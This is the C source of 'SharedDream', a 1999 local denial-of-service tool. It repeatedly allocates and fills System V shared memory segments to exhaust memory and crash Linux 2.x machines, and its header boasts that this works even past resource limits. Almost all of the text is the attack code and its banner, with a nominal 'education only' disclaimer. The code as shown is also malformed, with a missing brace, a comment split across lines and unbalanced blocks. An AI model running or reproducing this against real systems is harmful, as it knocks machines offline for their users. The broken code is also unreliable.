/* SharedDream - (c) Shadow, KKI Security                               */
/*                                                                      */
/* I'm not responsible for any damaged done by this proggie...          */
/* It should be used only for education...                              */
/* To protect - use brain, Solar's patches, or whatever...              */
/* This problem is because shared memory segments can exist even        */
/* if they are not combined with programs!                              */
/* !This program will crash your machine (localy) at kernels 2.x!       */
/* If you are on kernels 2.2.x with limits run it twice :)              */
/* really - even when rescource limits are set! :)                      */
/* Probably original idea by lcamtuf                                    */
/* heck you should told me that you found it                            */
/* first  ;)                                                            */
/* heh - worm greetings for for Coding Style ;)                         */
    
#include <stdio.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>
    
#define BOLD "\033[00;04m"
#define BLUE "\033[00;36m"
#define STAN "\033[00;00m"
    
void main(void)
{
 char *p;
 int   i = 10000000;
    
 printf("\n\n");
 printf(BOLD "*)" BLUE " SharedDream"STAN" - shared memory segments abuser\n");
 printf(BOLD "*)\n" STAN);
 printf(BOLD "*)" STAN " (c) 1999" BOLD " Shadow " STAN "(" BOLD "shadow@security.kki.pl" STAN ")\n");
 printf(BOLD "*)" STAN " greetz to " BOLD " vision (yo remember me), lcamtuf, kodzak, #??? ppl, Lam3rz, daworm, Trolinka, viedzmin other folks i
 forgot to mention\n" STAN);
 printf(BOLD "*)" STAN " Now it will eat up your memory even if it seems to be limited\n");
 printf(BOLD "*)" STAN " Starting...");
 fflush(stdout);
    
 while (1)
  if (p = shmat(shmget(0, i, 0777), 0, 0))
    
    memset( p,'\0',i); // need to touch
    memory somehow
    printf(".DoW.");
    fflush(stdout);
  } else {
     i--;
    }
  }
  exit(0);
 }
}